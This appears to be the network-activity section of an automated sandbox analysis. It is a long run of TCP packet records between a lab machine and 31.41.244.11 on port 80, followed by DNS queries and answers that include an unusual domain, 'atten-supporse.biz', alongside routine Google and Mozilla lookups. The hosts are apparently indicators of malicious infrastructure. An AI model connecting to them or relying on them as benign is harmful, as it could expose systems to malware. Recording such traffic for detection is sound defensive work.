Dec 9, 2024 20:28:12.717297077 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.717356920 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.718159914 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.718173981 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.718225002 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.720823050 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.720868111 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.720887899 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.720922947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.720922947 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.720937014 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.721316099 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.721369982 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.721416950 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.721436024 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.721514940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.722403049 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.722465038 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.722536087 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.722584963 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.723416090 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.723473072 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.723530054 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.723581076 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.724602938 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.724616051 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.724666119 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.725609064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.725675106 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.725791931 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.725843906 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.726627111 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.726690054 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.726732969 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.726783037 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.727705002 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.727771044 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.727982044 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.728035927 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.728771925 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.728837013 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.728878021 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.728926897 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.729856014 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.729868889 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.729914904 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.730835915 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.730899096 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.730968952 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.731023073 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.731874943 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.731939077 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.732057095 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.732108116 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.732955933 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.733016968 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.733041048 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.733089924 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.734092951 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.734107018 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.734164000 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.735121012 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.735182047 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.735248089 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.735332966 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.736300945 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.736371040 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.736421108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.736473083 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.737493992 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.737596035 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.737677097 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.737731934 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.738553047 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.738631964 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.738672972 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.738715887 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.739654064 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.739696980 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.739717960 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.739738941 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.740561962 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.740631104 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.740665913 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.740685940 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.741573095 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.741627932 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.741671085 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.741718054 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.742679119 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.742732048 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.742769957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.742811918 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.743689060 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.743736982 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.744143009 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.744189978 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.744693041 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.744738102 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.744849920 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.744893074 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.745738983 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.745817900 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.745870113 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.745925903 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.746826887 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.746881008 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.746905088 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.746947050 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.747873068 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.747920990 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.748200893 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.748245955 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.748955011 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.749002934 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.749130011 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.749174118 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.750051022 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.750072002 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.750103951 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.750124931 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.751163006 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.751218081 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.751277924 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.751322985 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.752229929 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.752280951 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.752317905 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.752358913 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.753252029 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.753309011 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.753345966 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.753387928 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.754304886 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.754359961 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.754398108 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.754437923 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.755568981 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.755620003 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.755670071 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.755712032 CET	49795	80	192.168.2.4	31.41.244.11
Dec 9, 2024 20:28:12.756428957 CET	80	49795	31.41.244.11	192.168.2.4
Dec 9, 2024 20:28:12.756478071 CET	49795	80	192.168.2.4	31.41.244.11

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 20:27:24.906831980 CET	192.168.2.4	1.1.1.1	0x437d	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:27:24.906987906 CET	192.168.2.4	1.1.1.1	0xc1af	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 20:27:31.754137039 CET	192.168.2.4	1.1.1.1	0xfec1	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:27:31.754316092 CET	192.168.2.4	1.1.1.1	0x165b	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Dec 9, 2024 20:27:32.709383011 CET	192.168.2.4	1.1.1.1	0x6c4d	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:27:32.709566116 CET	192.168.2.4	1.1.1.1	0x8849	Standard query (0)	play.google.com	65	IN (0x0001)	false
Dec 9, 2024 20:28:23.929286003 CET	192.168.2.4	1.1.1.1	0x8aca	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:49.923000097 CET	192.168.2.4	1.1.1.1	0x2c0d	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:50.062282085 CET	192.168.2.4	1.1.1.1	0x69ae	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:28:53.844965935 CET	192.168.2.4	1.1.1.1	0x747e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:53.866385937 CET	192.168.2.4	1.1.1.1	0xb618	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:53.985368013 CET	192.168.2.4	1.1.1.1	0xfd78	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:54.005409002 CET	192.168.2.4	1.1.1.1	0x706a	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:54.141674995 CET	192.168.2.4	1.1.1.1	0x2d2f	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:28:54.143260002 CET	192.168.2.4	1.1.1.1	0x1fb7	Standard query (0)	youtube.com	28	IN (0x0001)	false
Dec 9, 2024 20:28:54.896827936 CET	192.168.2.4	1.1.1.1	0x528c	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.215200901 CET	192.168.2.4	1.1.1.1	0x1003	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.221204996 CET	192.168.2.4	1.1.1.1	0xd6a7	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.344618082 CET	192.168.2.4	1.1.1.1	0xecb8	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.356261015 CET	192.168.2.4	1.1.1.1	0x9042	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 9, 2024 20:28:55.364979029 CET	192.168.2.4	1.1.1.1	0xf36e	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.365170002 CET	192.168.2.4	1.1.1.1	0xb16b	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.497767925 CET	192.168.2.4	1.1.1.1	0xe7	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.503861904 CET	192.168.2.4	1.1.1.1	0xe2f9	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:28:55.597459078 CET	192.168.2.4	1.1.1.1	0xf8f3	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:28:55.645535946 CET	192.168.2.4	1.1.1.1	0x986b	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:28:55.888708115 CET	192.168.2.4	1.1.1.1	0xb22c	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.892222881 CET	192.168.2.4	1.1.1.1	0xfd70	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.906949997 CET	192.168.2.4	1.1.1.1	0xebbb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:21.593348026 CET	192.168.2.4	1.1.1.1	0x6168	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:29:23.014471054 CET	192.168.2.4	1.1.1.1	0x27e2	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:24.814590931 CET	192.168.2.4	1.1.1.1	0x7151	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:24.925581932 CET	192.168.2.4	1.1.1.1	0x1203	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:24.963619947 CET	192.168.2.4	1.1.1.1	0x686f	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 9, 2024 20:29:24.964385986 CET	192.168.2.4	1.1.1.1	0x8b64	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:29:25.012103081 CET	192.168.2.4	1.1.1.1	0x90e1	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:29:25.151806116 CET	192.168.2.4	1.1.1.1	0x3ef8	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:29:43.709666014 CET	192.168.2.4	1.1.1.1	0x7a4	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:29:43.940711021 CET	192.168.2.4	1.1.1.1	0x6b30	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 9, 2024 20:29:43.942723989 CET	192.168.2.4	1.1.1.1	0xdc62	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:29:43.951848030 CET	192.168.2.4	1.1.1.1	0x58f2	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:30:13.082379103 CET	192.168.2.4	1.1.1.1	0x3df9	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.207568884 CET	192.168.2.4	1.1.1.1	0xb180	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.270726919 CET	192.168.2.4	1.1.1.1	0x3df9	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:13.311245918 CET	192.168.2.4	1.1.1.1	0xf9fc	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:30:13.346560955 CET	192.168.2.4	1.1.1.1	0x4a6e	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Dec 9, 2024 20:30:14.297836065 CET	192.168.2.4	1.1.1.1	0x6d43	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:25.730339050 CET	192.168.2.4	1.1.1.1	0xb959	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:25.929254055 CET	192.168.2.4	1.1.1.1	0xb959	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:30:38.225356102 CET	192.168.2.4	1.1.1.1	0xf33c	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:32:28.936597109 CET	192.168.2.4	1.1.1.1	0x8ef6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:32:47.264900923 CET	192.168.2.4	1.1.1.1	0x9910	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:32:47.446930885 CET	192.168.2.4	1.1.1.1	0x9910	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:33:53.149322033 CET	192.168.2.4	1.1.1.1	0xcc3e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:34:44.025120020 CET	192.168.2.4	1.1.1.1	0xacc3	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:34:44.165838003 CET	192.168.2.4	1.1.1.1	0x4ccd	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Dec 9, 2024 20:34:45.262882948 CET	192.168.2.4	1.1.1.1	0xcd16	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:35:10.782777071 CET	192.168.2.4	1.1.1.1	0x58fb	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:35:40.019416094 CET	192.168.2.4	1.1.1.1	0x1789	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 20:27:25.044298887 CET	1.1.1.1	192.168.2.4	0xc1af	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 20:27:25.046093941 CET	1.1.1.1	192.168.2.4	0x437d	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:27:31.939981937 CET	1.1.1.1	192.168.2.4	0xfec1	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:27:31.939981937 CET	1.1.1.1	192.168.2.4	0xfec1	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:27:31.948369026 CET	1.1.1.1	192.168.2.4	0x165b	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:27:32.846213102 CET	1.1.1.1	192.168.2.4	0x6c4d	No error (0)	play.google.com		172.217.19.238	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:24.066818953 CET	1.1.1.1	192.168.2.4	0x8aca	No error (0)	atten-supporse.biz		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:49.891710997 CET	1.1.1.1	192.168.2.4	0xcb81	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:50.061047077 CET	1.1.1.1	192.168.2.4	0x2c0d	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:53.981785059 CET	1.1.1.1	192.168.2.4	0x747e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:28:53.981785059 CET	1.1.1.1	192.168.2.4	0x747e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:54.004132986 CET	1.1.1.1	192.168.2.4	0xb618	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:54.123722076 CET	1.1.1.1	192.168.2.4	0xfd78	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:54.142659903 CET	1.1.1.1	192.168.2.4	0x706a	No error (0)	youtube.com		142.250.181.142	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:54.283644915 CET	1.1.1.1	192.168.2.4	0x2d2f	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Dec 9, 2024 20:28:54.284847021 CET	1.1.1.1	192.168.2.4	0x1fb7	No error (0)	youtube.com			28	IN (0x0001)	false
Dec 9, 2024 20:28:55.033885956 CET	1.1.1.1	192.168.2.4	0x528c	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.355364084 CET	1.1.1.1	192.168.2.4	0x1003	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.363444090 CET	1.1.1.1	192.168.2.4	0xd6a7	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:28:55.363444090 CET	1.1.1.1	192.168.2.4	0xd6a7	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.363481045 CET	1.1.1.1	192.168.2.4	0xe3fc	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:28:55.363481045 CET	1.1.1.1	192.168.2.4	0xe3fc	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.482630014 CET	1.1.1.1	192.168.2.4	0xecb8	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:28:55.482630014 CET	1.1.1.1	192.168.2.4	0xecb8	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 20:28:55.482630014 CET	1.1.1.1	192.168.2.4	0xecb8	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.503067017 CET	1.1.1.1	192.168.2.4	0xb16b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.595180988 CET	1.1.1.1	192.168.2.4	0xf36e	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.635843992 CET	1.1.1.1	192.168.2.4	0xe7	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:55.793467045 CET	1.1.1.1	192.168.2.4	0x986b	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Dec 9, 2024 20:28:56.025496006 CET	1.1.1.1	192.168.2.4	0xb22c	No error (0)	example.org		93.184.215.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:56.028717995 CET	1.1.1.1	192.168.2.4	0xfd70	No error (0)	ipv4only.arpa		192.0.0.170	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:56.028717995 CET	1.1.1.1	192.168.2.4	0xfd70	No error (0)	ipv4only.arpa		192.0.0.171	A (IP address)	IN (0x0001)	false
Dec 9, 2024 20:28:56.045422077 CET	1.1.1.1	192.168.2.4	0xebbb	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
